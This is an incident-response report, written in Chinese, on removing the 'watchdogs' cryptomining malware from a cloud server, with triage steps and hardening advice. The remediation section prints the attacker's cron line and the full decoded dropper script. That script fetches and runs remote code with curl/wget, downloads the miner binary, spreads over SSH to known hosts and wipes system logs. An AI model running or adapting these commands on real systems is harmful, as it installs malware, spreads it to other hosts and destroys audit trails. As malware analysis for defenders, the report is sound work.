应急响应-挖矿病毒watchdogs & ksoftirqds
-
问题描述
用户反馈阿里云服务器中了病毒,云平台监控到服务器CPU利用率一直呈100%状态,系统下检查计划任务中有个删除不掉的异常任务,系统下部分应用进程被隐藏了,通过相关命令查询不到信息,需要我方对服务器进行排查,解决上述问题。
排查思路
登陆服务器
2019年5月15日上午9点通过远程连接工具登陆存在问题的服务器,进行问题定位与排查。
检查网络连接
查看服务器当前网络连接状态,未发现异常截图信息如下:
检查系统进程
查看系统进程,未发现占用CPU大量资源的异常进程。截图信息如下:
检查开机启动
检查开机启动加载项,发现启动项中存在异常信息,主要怀疑netdns和watchdogs两个项。截图信息如下:
查看系统下计划任务,发现存在一个可疑的任务。截图信息如下:
可疑的计划任务内容如下:*/15 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh
检查登陆信息
查看系统远程登陆服务器的历史记录,连接成功截图信息如下:
查看系统远程登陆服务器的历史记录,连接失败截图信息如下:
查看系统登陆历史信息截图
发现来自中国山东青岛的一个可疑IP:47.104.179.47在2月17日有多次异常登陆请求信息均未成功。截图信息如下:
检查系统账号
检查系统下是否存在异常账号,发现两个账号名称分别为liugang和shs,判断为用户自行创建账号。截图信息如下:
检查系统日志
检查系统日志,截图信息如下:
问题处理
第一步 计划任务分析
首先查看系统存在的异常计划任务,对其进行删除操作,该任务在被删除后会自动重新生成。
复制计划任务中的URL链接“https://pastebin.com/raw/sByq0rym
”,打开浏览器粘贴该链接,获取到信息如下:
复制网页中显示的URL链接“https://pastebin.com/raw/tqJjUD9d
”,打开浏览器粘贴该链接,获取到信息如下:
在网页中看到base64
位编码程序,打开base64
解密工具,将获取到的base64加密信息全部复制并粘贴到Base64编码中,解码后即可看到脚本信息如下:
详细运行脚本信息如下:export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin echo "*/10 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh" | crontab - ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "thisxxs"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "/usr/bin/.sshd"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "kworkerds" | awk '{print $2}'|xargs kill -9 p=$(ps auxf|grep -v grep|grep ksoftirqds|wc -l) if [ ${p} -eq 0 ];then ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9 fi if [ -e "/tmp/gates.lod" ]; then rm -rf $(readlink /proc/$(cat /tmp/gates.lod)/exe) kill -9 $(cat /tmp/gates.lod) rm -rf $(readlink /proc/$(cat /tmp/moni.lod)/exe) kill -9 $(cat /tmp/moni.lod) rm -rf /tmp/{gates,moni}.lod fi if [ ! -f "/tmp/.lsdpid" ]; then ARCH=$(uname -i) if [ ${ARCH}x = "x86_64x" ]; then (curl -fsSL http://thyrsi.com/t6/671/1550236607x2918527038.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/671/1550236607x2918527038.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs elif [ ${ARCH}x = "i386x" ]; then (curl -fsSL http://thyrsi.com/t6/671/1550236644x2918527038.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/671/1550236644x2918527038.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs else (curl -fsSL http://thyrsi.com/t6/671/1550236644x2918527038.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/671/1550236644x2918527038.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs fi nohup /tmp/watchdogs >/dev/null 2>&1 & elif [ ! -f "/proc/$(cat /tmp/.lsdpid)/stat" ]; then ARCH=$(uname -i) if [ ${ARCH}x = "x86_64x" ]; then (curl -fsSL http://thyrsi.com/t6/671/1550236607x2918527038.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/671/1550236607x2918527038.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs elif [ ${ARCH}x = "i386x" ]; then (curl -fsSL http://thyrsi.com/t6/671/1550236644x2918527038.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/671/1550236644x2918527038.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs else (curl -fsSL http://thyrsi.com/t6/671/1550236644x2918527038.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/671/1550236644x2918527038.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs fi nohup /tmp/watchdogs >/dev/null 2>&1 & fi if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh >/dev/null 2>&1 &' & done fi echo 0>/var/spool/mail/root echo 0>/var/log/wtmp echo 0>/var/log/secure echo 0>/var/log/cron # #
通过对该脚本进行分析,确认该脚本为挖矿病毒程序脚本。
第二步 系统进程分析
查看系统下
CPU
进程,输入top
命令后看不到占用CPU
资源较多的进程,怀疑是进程被隐藏或者命令被替换了。截图信息如下:首先排查
/tmp
文件夹,通过发现/tmp
文件夹下存在一个异常文件名称为“lsdpid
”的隐藏文件,查看“lsdpid
”文件内容获取到一个数字21448
,通过反查21448
获取到该数字是由“/tmp/watchdogs
”文件生成,而此时watchdogs文件已被病毒程序自动删除。截图如下:
结束“lsdpid
”所产生的21448
进程操作。截图如下:
在结束
21448
异常进程后,输入top
命令显示系统进程,显示挖矿进程信息。截图如下:
第三步 删除异常任务
检查开机启动项文件,发现两个异常启动文件项分别是:netdns和watchdogs。截图信息如下:
查看启动项文件,发现异常配置参数。截图信息如下:
结速掉“lsdpid
”文件中显示的进程号后,即可看到挖矿病毒进程,将挖矿病毒进程结束。截图信息如下:
删除异常文件“lsdpid
”,查看计划任务未重新生成。截图如下:
安全建议
通过问题排查,发现系统存在一些问题,提出如下安全建议:
- 关闭不必要操作系统服务及应用端口,防止来自互联网的恶意攻击;
- 对互联网映射内部服务器时,只开放必要访问的端口,端口映射规则尽可能细化;
- 限制服务器管理人员远程登陆管理地址,防止管理员以外恶意地址进行登陆;
- 关于Redis服务可能引起的安全问题原因如下:
(1) Redis没有设置密码;
(2) Redis使用默认账号root;
(3) Redis端口暴露在公网;
(4) Redis没有限制访问IP。